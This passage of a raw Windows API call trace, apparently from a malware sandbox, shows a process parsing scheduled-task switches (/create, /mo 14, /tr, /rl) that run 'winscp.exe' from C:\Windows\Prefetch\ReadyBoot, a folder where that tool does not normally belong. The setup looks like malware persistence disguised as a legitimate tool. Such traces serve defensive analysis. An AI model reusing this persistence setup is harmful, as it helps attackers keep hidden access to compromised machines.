(lpFirst="|create|", lpSrch="|mo|") returned 0x0 [0080.103] SetLastError (dwErrCode=0x490) [0080.103] lstrlenW (lpString="?") returned 1 [0080.103] lstrlenW (lpString="?") returned 1 [0080.103] _memicmp (_Buf1=0x1ec200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.103] lstrlenW (lpString="mo") returned 2 [0080.103] _memicmp (_Buf1=0x1ec340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.103] _vsnwprintf (in: _Buffer=0x1ec380, _BufferCount=0x4, _Format="|%s|", _ArgList=0x17c448 | out: _Buffer="|?|") returned 3 [0080.103] _vsnwprintf (in: _Buffer=0x1ec360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17c448 | out: _Buffer="|mo|") returned 4 [0080.103] lstrlenW (lpString="|?|") returned 3 [0080.104] lstrlenW (lpString="|mo|") returned 4 [0080.104] SetLastError (dwErrCode=0x490) [0080.104] lstrlenW (lpString="s") returned 1 [0080.104] lstrlenW (lpString="s") returned 1 [0080.104] _memicmp (_Buf1=0x1ec200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.104] lstrlenW (lpString="mo") returned 2 [0080.104] _memicmp (_Buf1=0x1ec340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.104] _vsnwprintf (in: _Buffer=0x1ec380, _BufferCount=0x4, _Format="|%s|", _ArgList=0x17c448 | out: _Buffer="|s|") returned 3 [0080.104] _vsnwprintf (in: _Buffer=0x1ec360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17c448 | out: _Buffer="|mo|") returned 4 [0080.104] lstrlenW (lpString="|s|") returned 3 [0080.104] lstrlenW (lpString="|mo|") returned 4 [0080.104] SetLastError (dwErrCode=0x490) [0080.104] lstrlenW (lpString="u") returned 1 [0080.104] lstrlenW (lpString="u") returned 1 [0080.104] _memicmp (_Buf1=0x1ec200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.104] lstrlenW (lpString="mo") returned 2 [0080.104] _memicmp (_Buf1=0x1ec340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.104] _vsnwprintf (in: _Buffer=0x1ec380, _BufferCount=0x4, _Format="|%s|", _ArgList=0x17c448 | out: _Buffer="|u|") returned 3 [0080.104] _vsnwprintf (in: _Buffer=0x1ec360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17c448 | out: _Buffer="|mo|") returned 4 [0080.104] lstrlenW (lpString="|u|") returned 3 [0080.104] lstrlenW (lpString="|mo|") returned 4 [0080.104] SetLastError (dwErrCode=0x490) [0080.104] lstrlenW (lpString="p") returned 1 [0080.104] lstrlenW (lpString="p") returned 1 [0080.104] _memicmp (_Buf1=0x1ec200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.105] lstrlenW (lpString="mo") returned 2 [0080.105] _memicmp (_Buf1=0x1ec340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.105] _vsnwprintf (in: _Buffer=0x1ec380, _BufferCount=0x4, _Format="|%s|", _ArgList=0x17c448 | out: _Buffer="|p|") returned 3 [0080.105] _vsnwprintf (in: _Buffer=0x1ec360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17c448 | out: _Buffer="|mo|") returned 4 [0080.105] lstrlenW (lpString="|p|") returned 3 [0080.105] lstrlenW (lpString="|mo|") returned 4 [0080.105] SetLastError (dwErrCode=0x490) [0080.105] lstrlenW (lpString="ru") returned 2 [0080.105] lstrlenW (lpString="ru") returned 2 [0080.105] _memicmp (_Buf1=0x1ec200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.105] lstrlenW (lpString="mo") returned 2 [0080.105] _memicmp (_Buf1=0x1ec340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.105] _vsnwprintf (in: _Buffer=0x1ec380, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17c448 | out: _Buffer="|ru|") returned 4 [0080.105] _vsnwprintf (in: _Buffer=0x1ec360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17c448 | out: _Buffer="|mo|") returned 4 [0080.105] lstrlenW (lpString="|ru|") returned 4 [0080.105] lstrlenW (lpString="|mo|") returned 4 [0080.105] StrStrIW (lpFirst="|ru|", lpSrch="|mo|") returned 0x0 [0080.105] SetLastError (dwErrCode=0x490) [0080.105] lstrlenW (lpString="rp") returned 2 [0080.105] lstrlenW (lpString="rp") returned 2 [0080.105] _memicmp (_Buf1=0x1ec200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.105] lstrlenW (lpString="mo") returned 2 [0080.105] _memicmp (_Buf1=0x1ec340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.105] _vsnwprintf (in: _Buffer=0x1ec380, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17c448 | out: _Buffer="|rp|") returned 4 [0080.105] _vsnwprintf (in: _Buffer=0x1ec360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17c448 | out: _Buffer="|mo|") returned 4 [0080.106] lstrlenW (lpString="|rp|") returned 4 [0080.106] lstrlenW (lpString="|mo|") returned 4 [0080.106] StrStrIW (lpFirst="|rp|", lpSrch="|mo|") returned 0x0 [0080.106] SetLastError (dwErrCode=0x490) [0080.106] lstrlenW (lpString="sc") returned 2 [0080.106] lstrlenW (lpString="sc") returned 2 [0080.106] _memicmp (_Buf1=0x1ec200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.106] lstrlenW (lpString="mo") returned 2 [0080.106] _memicmp (_Buf1=0x1ec340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.106] _vsnwprintf (in: _Buffer=0x1ec380, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17c448 | out: _Buffer="|sc|") returned 4 [0080.106] _vsnwprintf (in: _Buffer=0x1ec360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17c448 | out: _Buffer="|mo|") returned 4 [0080.106] lstrlenW (lpString="|sc|") returned 4 [0080.106] lstrlenW (lpString="|mo|") returned 4 [0080.106] StrStrIW (lpFirst="|sc|", lpSrch="|mo|") returned 0x0 [0080.106] SetLastError (dwErrCode=0x490) [0080.106] lstrlenW (lpString="mo") returned 2 [0080.106] lstrlenW (lpString="mo") returned 2 [0080.106] _memicmp (_Buf1=0x1ec200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.106] lstrlenW (lpString="mo") returned 2 [0080.106] _memicmp (_Buf1=0x1ec340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.106] _vsnwprintf (in: _Buffer=0x1ec380, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17c448 | out: _Buffer="|mo|") returned 4 [0080.106] _vsnwprintf (in: _Buffer=0x1ec360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17c448 | out: _Buffer="|mo|") returned 4 [0080.106] lstrlenW (lpString="|mo|") returned 4 [0080.106] lstrlenW (lpString="|mo|") returned 4 [0080.106] StrStrIW (lpFirst="|mo|", lpSrch="|mo|") returned="|mo|" [0080.106] SetLastError (dwErrCode=0x0) [0080.107] SetLastError (dwErrCode=0x0) [0080.107] lstrlenW (lpString="14") returned 2 [0080.107] lstrlenW (lpString="-/") returned 2 [0080.107] StrChrIW (lpStart="-/", wMatch=0x31) returned 0x0 [0080.107] SetLastError (dwErrCode=0x490) [0080.107] SetLastError (dwErrCode=0x490) [0080.107] SetLastError (dwErrCode=0x0) [0080.107] lstrlenW (lpString="14") returned 2 [0080.107] StrChrIW (lpStart="14", wMatch=0x3a) returned 0x0 [0080.107] SetLastError (dwErrCode=0x490) [0080.107] SetLastError (dwErrCode=0x0) [0080.107] _memicmp (_Buf1=0x1ed6a0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.107] lstrlenW (lpString="14") returned 2 [0080.107] lstrlenW (lpString="14") returned 2 [0080.107] lstrlenW (lpString=" \x09") returned 2 [0080.107] StrChrW (lpStart=" \x09", wMatch=0x31) returned 0x0 [0080.107] StrChrW (lpStart=" \x09", wMatch=0x31) returned 0x0 [0080.107] StrChrW (lpStart=" \x09", wMatch=0x34) returned 0x0 [0080.107] GetLastError () returned 0x0 [0080.107] lstrlenW (lpString="14") returned 2 [0080.107] lstrlenW (lpString="14") returned 2 [0080.107] GetProcessHeap () returned 0x1d0000 [0080.107] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0xc, Size=0x6) returned 0x1ec320 [0080.107] SetLastError (dwErrCode=0x0) [0080.107] SetLastError (dwErrCode=0x0) [0080.107] lstrlenW (lpString="/tr") returned 3 [0080.107] lstrlenW (lpString="-/") returned 2 [0080.107] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0080.107] lstrlenW (lpString="create") returned 6 [0080.108] lstrlenW (lpString="create") returned 6 [0080.108] _memicmp (_Buf1=0x1ec200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.108] lstrlenW (lpString="tr") returned 2 [0080.108] _memicmp (_Buf1=0x1ec340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.108] _vsnwprintf (in: _Buffer=0x1ec380, _BufferCount=0x9, _Format="|%s|", _ArgList=0x17c448 | out: _Buffer="|create|") returned 8 [0080.108] _vsnwprintf (in: _Buffer=0x1ec360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17c448 | out: _Buffer="|tr|") returned 4 [0080.108] lstrlenW (lpString="|create|") returned 8 [0080.108] lstrlenW (lpString="|tr|") returned 4 [0080.108] StrStrIW (lpFirst="|create|", lpSrch="|tr|") returned 0x0 [0080.108] SetLastError (dwErrCode=0x490) [0080.108] lstrlenW (lpString="?") returned 1 [0080.108] lstrlenW (lpString="?") returned 1 [0080.108] _memicmp (_Buf1=0x1ec200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.108] lstrlenW (lpString="tr") returned 2 [0080.108] _memicmp (_Buf1=0x1ec340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.108] _vsnwprintf (in: _Buffer=0x1ec380, _BufferCount=0x4, _Format="|%s|", _ArgList=0x17c448 | out: _Buffer="|?|") returned 3 [0080.108] _vsnwprintf (in: _Buffer=0x1ec360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17c448 | out: _Buffer="|tr|") returned 4 [0080.108] lstrlenW (lpString="|?|") returned 3 [0080.108] lstrlenW (lpString="|tr|") returned 4 [0080.108] SetLastError (dwErrCode=0x490) [0080.108] lstrlenW (lpString="s") returned 1 [0080.108] lstrlenW (lpString="s") returned 1 [0080.108] _memicmp (_Buf1=0x1ec200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.108] lstrlenW (lpString="tr") returned 2 [0080.108] _memicmp (_Buf1=0x1ec340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.109] _vsnwprintf (in: _Buffer=0x1ec380, _BufferCount=0x4, _Format="|%s|", _ArgList=0x17c448 | out: _Buffer="|s|") returned 3 [0080.109] _vsnwprintf (in: _Buffer=0x1ec360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17c448 | out: _Buffer="|tr|") returned 4 [0080.109] lstrlenW (lpString="|s|") returned 3 [0080.109] lstrlenW (lpString="|tr|") returned 4 [0080.109] SetLastError (dwErrCode=0x490) [0080.109] lstrlenW (lpString="u") returned 1 [0080.109] lstrlenW (lpString="u") returned 1 [0080.109] _memicmp (_Buf1=0x1ec200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.109] lstrlenW (lpString="tr") returned 2 [0080.109] _memicmp (_Buf1=0x1ec340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.109] _vsnwprintf (in: _Buffer=0x1ec380, _BufferCount=0x4, _Format="|%s|", _ArgList=0x17c448 | out: _Buffer="|u|") returned 3 [0080.109] _vsnwprintf (in: _Buffer=0x1ec360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17c448 | out: _Buffer="|tr|") returned 4 [0080.109] lstrlenW (lpString="|u|") returned 3 [0080.109] lstrlenW (lpString="|tr|") returned 4 [0080.109] SetLastError (dwErrCode=0x490) [0080.109] lstrlenW (lpString="p") returned 1 [0080.109] lstrlenW (lpString="p") returned 1 [0080.109] _memicmp (_Buf1=0x1ec200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.109] lstrlenW (lpString="tr") returned 2 [0080.109] _memicmp (_Buf1=0x1ec340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.109] _vsnwprintf (in: _Buffer=0x1ec380, _BufferCount=0x4, _Format="|%s|", _ArgList=0x17c448 | out: _Buffer="|p|") returned 3 [0080.109] _vsnwprintf (in: _Buffer=0x1ec360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17c448 | out: _Buffer="|tr|") returned 4 [0080.109] lstrlenW (lpString="|p|") returned 3 [0080.109] lstrlenW (lpString="|tr|") returned 4 [0080.109] SetLastError (dwErrCode=0x490) [0080.109] lstrlenW (lpString="ru") returned 2 [0080.109] lstrlenW (lpString="ru") returned 2 [0080.110] _memicmp (_Buf1=0x1ec200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.110] lstrlenW (lpString="tr") returned 2 [0080.110] _memicmp (_Buf1=0x1ec340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.110] _vsnwprintf (in: _Buffer=0x1ec380, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17c448 | out: _Buffer="|ru|") returned 4 [0080.110] _vsnwprintf (in: _Buffer=0x1ec360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17c448 | out: _Buffer="|tr|") returned 4 [0080.110] lstrlenW (lpString="|ru|") returned 4 [0080.110] lstrlenW (lpString="|tr|") returned 4 [0080.110] StrStrIW (lpFirst="|ru|", lpSrch="|tr|") returned 0x0 [0080.110] SetLastError (dwErrCode=0x490) [0080.110] lstrlenW (lpString="rp") returned 2 [0080.110] lstrlenW (lpString="rp") returned 2 [0080.110] _memicmp (_Buf1=0x1ec200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.110] lstrlenW (lpString="tr") returned 2 [0080.110] _memicmp (_Buf1=0x1ec340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.110] _vsnwprintf (in: _Buffer=0x1ec380, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17c448 | out: _Buffer="|rp|") returned 4 [0080.110] _vsnwprintf (in: _Buffer=0x1ec360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17c448 | out: _Buffer="|tr|") returned 4 [0080.110] lstrlenW (lpString="|rp|") returned 4 [0080.110] lstrlenW (lpString="|tr|") returned 4 [0080.110] StrStrIW (lpFirst="|rp|", lpSrch="|tr|") returned 0x0 [0080.110] SetLastError (dwErrCode=0x490) [0080.110] lstrlenW (lpString="sc") returned 2 [0080.110] lstrlenW (lpString="sc") returned 2 [0080.110] _memicmp (_Buf1=0x1ec200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.110] lstrlenW (lpString="tr") returned 2 [0080.110] _memicmp (_Buf1=0x1ec340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.111] _vsnwprintf (in: _Buffer=0x1ec380, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17c448 | out: _Buffer="|sc|") returned 4 [0080.111] _vsnwprintf (in: _Buffer=0x1ec360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17c448 | out: _Buffer="|tr|") returned 4 [0080.111] lstrlenW (lpString="|sc|") returned 4 [0080.111] lstrlenW (lpString="|tr|") returned 4 [0080.111] StrStrIW (lpFirst="|sc|", lpSrch="|tr|") returned 0x0 [0080.111] SetLastError (dwErrCode=0x490) [0080.111] lstrlenW (lpString="mo") returned 2 [0080.111] lstrlenW (lpString="mo") returned 2 [0080.111] _memicmp (_Buf1=0x1ec200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.111] lstrlenW (lpString="tr") returned 2 [0080.111] _memicmp (_Buf1=0x1ec340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.111] _vsnwprintf (in: _Buffer=0x1ec380, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17c448 | out: _Buffer="|mo|") returned 4 [0080.111] _vsnwprintf (in: _Buffer=0x1ec360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17c448 | out: _Buffer="|tr|") returned 4 [0080.111] lstrlenW (lpString="|mo|") returned 4 [0080.111] lstrlenW (lpString="|tr|") returned 4 [0080.111] StrStrIW (lpFirst="|mo|", lpSrch="|tr|") returned 0x0 [0080.111] SetLastError (dwErrCode=0x490) [0080.111] lstrlenW (lpString="d") returned 1 [0080.111] lstrlenW (lpString="d") returned 1 [0080.111] _memicmp (_Buf1=0x1ec200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.111] lstrlenW (lpString="tr") returned 2 [0080.111] _memicmp (_Buf1=0x1ec340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.111] _vsnwprintf (in: _Buffer=0x1ec380, _BufferCount=0x4, _Format="|%s|", _ArgList=0x17c448 | out: _Buffer="|d|") returned 3 [0080.111] _vsnwprintf (in: _Buffer=0x1ec360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17c448 | out: _Buffer="|tr|") returned 4 [0080.111] lstrlenW (lpString="|d|") returned 3 [0080.111] lstrlenW (lpString="|tr|") returned 4 [0080.112] SetLastError (dwErrCode=0x490) [0080.112] lstrlenW (lpString="m") returned 1 [0080.112] lstrlenW (lpString="m") returned 1 [0080.112] _memicmp (_Buf1=0x1ec200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.112] lstrlenW (lpString="tr") returned 2 [0080.112] _memicmp (_Buf1=0x1ec340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.112] _vsnwprintf (in: _Buffer=0x1ec380, _BufferCount=0x4, _Format="|%s|", _ArgList=0x17c448 | out: _Buffer="|m|") returned 3 [0080.112] _vsnwprintf (in: _Buffer=0x1ec360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17c448 | out: _Buffer="|tr|") returned 4 [0080.112] lstrlenW (lpString="|m|") returned 3 [0080.112] lstrlenW (lpString="|tr|") returned 4 [0080.112] SetLastError (dwErrCode=0x490) [0080.112] lstrlenW (lpString="i") returned 1 [0080.112] lstrlenW (lpString="i") returned 1 [0080.112] _memicmp (_Buf1=0x1ec200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.112] lstrlenW (lpString="tr") returned 2 [0080.112] _memicmp (_Buf1=0x1ec340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.112] _vsnwprintf (in: _Buffer=0x1ec380, _BufferCount=0x4, _Format="|%s|", _ArgList=0x17c448 | out: _Buffer="|i|") returned 3 [0080.112] _vsnwprintf (in: _Buffer=0x1ec360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17c448 | out: _Buffer="|tr|") returned 4 [0080.112] lstrlenW (lpString="|i|") returned 3 [0080.112] lstrlenW (lpString="|tr|") returned 4 [0080.112] SetLastError (dwErrCode=0x490) [0080.112] lstrlenW (lpString="tn") returned 2 [0080.112] lstrlenW (lpString="tn") returned 2 [0080.112] _memicmp (_Buf1=0x1ec200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.112] lstrlenW (lpString="tr") returned 2 [0080.112] _memicmp (_Buf1=0x1ec340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.113] _vsnwprintf (in: _Buffer=0x1ec380, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17c448 | out: _Buffer="|tn|") returned 4 [0080.113] _vsnwprintf (in: _Buffer=0x1ec360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17c448 | out: _Buffer="|tr|") returned 4 [0080.113] lstrlenW (lpString="|tn|") returned 4 [0080.113] lstrlenW (lpString="|tr|") returned 4 [0080.113] StrStrIW (lpFirst="|tn|", lpSrch="|tr|") returned 0x0 [0080.113] SetLastError (dwErrCode=0x490) [0080.113] lstrlenW (lpString="tr") returned 2 [0080.113] lstrlenW (lpString="tr") returned 2 [0080.113] _memicmp (_Buf1=0x1ec200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.113] lstrlenW (lpString="tr") returned 2 [0080.113] _memicmp (_Buf1=0x1ec340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.113] _vsnwprintf (in: _Buffer=0x1ec380, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17c448 | out: _Buffer="|tr|") returned 4 [0080.113] _vsnwprintf (in: _Buffer=0x1ec360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17c448 | out: _Buffer="|tr|") returned 4 [0080.113] lstrlenW (lpString="|tr|") returned 4 [0080.113] lstrlenW (lpString="|tr|") returned 4 [0080.113] StrStrIW (lpFirst="|tr|", lpSrch="|tr|") returned="|tr|" [0080.113] SetLastError (dwErrCode=0x0) [0080.113] SetLastError (dwErrCode=0x0) [0080.113] lstrlenW (lpString="'C:\\Windows\\Prefetch\\ReadyBoot\\winscp.exe'") returned 42 [0080.113] lstrlenW (lpString="-/") returned 2 [0080.113] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0080.113] SetLastError (dwErrCode=0x490) [0080.113] SetLastError (dwErrCode=0x490) [0080.113] SetLastError (dwErrCode=0x0) [0080.113] lstrlenW (lpString="'C:\\Windows\\Prefetch\\ReadyBoot\\winscp.exe'") returned 42 [0080.113] StrChrIW (lpStart="'C:\\Windows\\Prefetch\\ReadyBoot\\winscp.exe'", wMatch=0x3a) returned=":\\Windows\\Prefetch\\ReadyBoot\\winscp.exe'" [0080.114] lstrlenW (lpString="'C:\\Windows\\Prefetch\\ReadyBoot\\winscp.exe'") returned 42 [0080.114] _memicmp (_Buf1=0x1ec470, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.114] _memicmp (_Buf1=0x1ed640, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.177] SetLastError (dwErrCode=0x7a) [0080.177] SetLastError (dwErrCode=0x0) [0080.177] SetLastError (dwErrCode=0x0) [0080.177] lstrlenW (lpString="'C") returned 2 [0080.177] lstrlenW (lpString="-/") returned 2 [0080.177] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0080.177] SetLastError (dwErrCode=0x490) [0080.177] SetLastError (dwErrCode=0x490) [0080.177] SetLastError (dwErrCode=0x0) [0080.177] _memicmp (_Buf1=0x1ed6a0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.177] lstrlenW (lpString="'C:\\Windows\\Prefetch\\ReadyBoot\\winscp.exe'") returned 42 [0080.177] GetProcessHeap () returned 0x1d0000 [0080.177] HeapValidate (hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1ed6c0) returned 1 [0080.177] GetProcessHeap () returned 0x1d0000 [0080.177] RtlReAllocateHeap (Heap=0x1d0000, Flags=0xc, Ptr=0x1ed6c0, Size=0x56) returned 0x1ec3b0 [0080.177] lstrlenW (lpString="'C:\\Windows\\Prefetch\\ReadyBoot\\winscp.exe'") returned 42 [0080.177] lstrlenW (lpString=" \x09") returned 2 [0080.177] StrChrW (lpStart=" \x09", wMatch=0x27) returned 0x0 [0080.177] StrChrW (lpStart=" \x09", wMatch=0x27) returned 0x0 [0080.177] StrChrW (lpStart=" \x09", wMatch=0x43) returned 0x0 [0080.178] StrChrW (lpStart=" \x09", wMatch=0x3a) returned 0x0 [0080.178] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0080.178] StrChrW (lpStart=" \x09", wMatch=0x57) returned 0x0 [0080.178] StrChrW (lpStart=" \x09", wMatch=0x69) returned 0x0 [0080.178] StrChrW (lpStart=" \x09", wMatch=0x6e) returned 0x0 [0080.178] StrChrW (lpStart=" \x09", wMatch=0x64) returned 0x0 [0080.178] StrChrW (lpStart=" \x09", wMatch=0x6f) returned 0x0 [0080.178] StrChrW (lpStart=" \x09", wMatch=0x77) returned 0x0 [0080.178] StrChrW (lpStart=" \x09", wMatch=0x73) returned 0x0 [0080.178] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0080.178] StrChrW (lpStart=" \x09", wMatch=0x50) returned 0x0 [0080.178] StrChrW (lpStart=" \x09", wMatch=0x72) returned 0x0 [0080.178] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0080.178] StrChrW (lpStart=" \x09", wMatch=0x66) returned 0x0 [0080.178] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0080.178] StrChrW (lpStart=" \x09", wMatch=0x74) returned 0x0 [0080.178] StrChrW (lpStart=" \x09", wMatch=0x63) returned 0x0 [0080.178] StrChrW (lpStart=" \x09", wMatch=0x68) returned 0x0 [0080.178] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0080.180] StrChrW (lpStart=" \x09", wMatch=0x52) returned 0x0 [0080.180] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0080.181] StrChrW (lpStart=" \x09", wMatch=0x61) returned 0x0 [0080.181] StrChrW (lpStart=" \x09", wMatch=0x64) returned 0x0 [0080.181] StrChrW (lpStart=" \x09", wMatch=0x79) returned 0x0 [0080.181] StrChrW (lpStart=" \x09", wMatch=0x42) returned 0x0 [0080.181] StrChrW (lpStart=" \x09", wMatch=0x6f) returned 0x0 [0080.181] StrChrW (lpStart=" \x09", wMatch=0x6f) returned 0x0 [0080.181] StrChrW (lpStart=" \x09", wMatch=0x74) returned 0x0 [0080.181] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0080.181] StrChrW (lpStart=" \x09", wMatch=0x77) returned 0x0 [0080.181] StrChrW (lpStart=" \x09", wMatch=0x69) returned 0x0 [0080.181] StrChrW (lpStart=" \x09", wMatch=0x6e) returned 0x0 [0080.181] StrChrW (lpStart=" \x09", wMatch=0x73) returned 0x0 [0080.181] StrChrW (lpStart=" \x09", wMatch=0x63) returned 0x0 [0080.181] StrChrW (lpStart=" \x09", wMatch=0x70) returned 0x0 [0080.181] StrChrW (lpStart=" \x09", wMatch=0x2e) returned 0x0 [0080.181] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0080.181] StrChrW (lpStart=" \x09", wMatch=0x78) returned 0x0 [0080.181] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0080.181] StrChrW (lpStart=" \x09", wMatch=0x27) returned 0x0 [0080.181] GetLastError () returned 0x0 [0080.181] lstrlenW (lpString="'C:\\Windows\\Prefetch\\ReadyBoot\\winscp.exe'") returned 42 [0080.181] lstrlenW (lpString="'C:\\Windows\\Prefetch\\ReadyBoot\\winscp.exe'") returned 42 [0080.181] SetLastError (dwErrCode=0x0) [0080.181] SetLastError (dwErrCode=0x0) [0080.181] lstrlenW (lpString="/rl") returned 3 [0080.181] lstrlenW (lpString="-/") returned 2 [0080.181] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0080.182] lstrlenW (lpString="create") returned 6 [0080.182] lstrlenW (lpString="create") returned 6 [0080.182] _memicmp (_Buf1=0x1ec200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.182] lstrlenW (lpString="rl") returned 2 [0080.182] _memicmp (_Buf1=0x1ec340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.182] _vsnwprintf (in: _Buffer=0x1ec380, _BufferCount=0x9, _Format="|%s|", _ArgList=0x17c448 | out: _Buffer="|create|") returned 8 [0080.182] _vsnwprintf (in: _Buffer=0x1ec360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17c448 | out: _Buffer="|rl|") returned 4 [0080.182] lstrlenW (lpString="|create|") returned 8 [0080.182] lstrlenW (lpString="|rl|") returned 4 [0080.182] StrStrIW (lpFirst="|create|", lpSrch="|rl|") returned 0x0 [0080.182] SetLastError (dwErrCode=0x490) [0080.182] lstrlenW (lpString="?") returned 1 [0080.182] lstrlenW (lpString="?") returned 1 [0080.182] _memicmp (_Buf1=0x1ec200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.182] lstrlenW (lpString="rl") returned 2 [0080.182] _memicmp (_Buf1=0x1ec340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.182] _vsnwprintf (in: _Buffer=0x1ec380, _BufferCount=0x4, _Format="|%s|", _ArgList=0x17c448 | out: _Buffer="|?|") returned 3 [0080.182] _vsnwprintf (in: _Buffer=0x1ec360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17c448 | out: _Buffer="|rl|") returned 4 [0080.182] lstrlenW (lpString="|?|") returned 3 [0080.182] lstrlenW (lpString="|rl|") returned 4 [0080.182] SetLastError (dwErrCode=0x490) [0080.182] lstrlenW (lpString="s") returned 1 [0080.182] lstrlenW (lpString="s") returned 1 [0080.182] _memicmp (_Buf1=0x1ec200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.183] lstrlenW (lpString="rl") returned 2 [0080.183] _memicmp (_Buf1=0x1ec340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.183] _vsnwprintf (in: _Buffer=0x1ec380, _BufferCount=0x4, _Format="|%s|", _ArgList=0x17c448 | out: _Buffer="|s|") returned 3 [0080.183] _vsnwprintf (in: _Buffer=0x1ec360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17c448 | out: _Buffer="|rl|") returned 4 [0080.183] lstrlenW (lpString="|s|") returned 3 [0080.183] lstrlenW (lpString="|rl|") returned 4 [0080.183] SetLastError (dwErrCode=0x490) [0080.183] lstrlenW (lpString="u") returned 1 [0080.183] lstrlenW (lpString="u") returned 1 [0080.183] _memicmp (_Buf1=0x1ec200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.183] lstrlenW (lpString="rl") returned 2 [0080.183] _memicmp (_Buf1=0x1ec340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.183] _vsnwprintf (in: _Buffer=0x1ec380, _BufferCount=0x4, _Format="|%s|", _ArgList=0x17c448 | out: _Buffer="|u|") returned 3 [0080.183] _vsnwprintf (in: 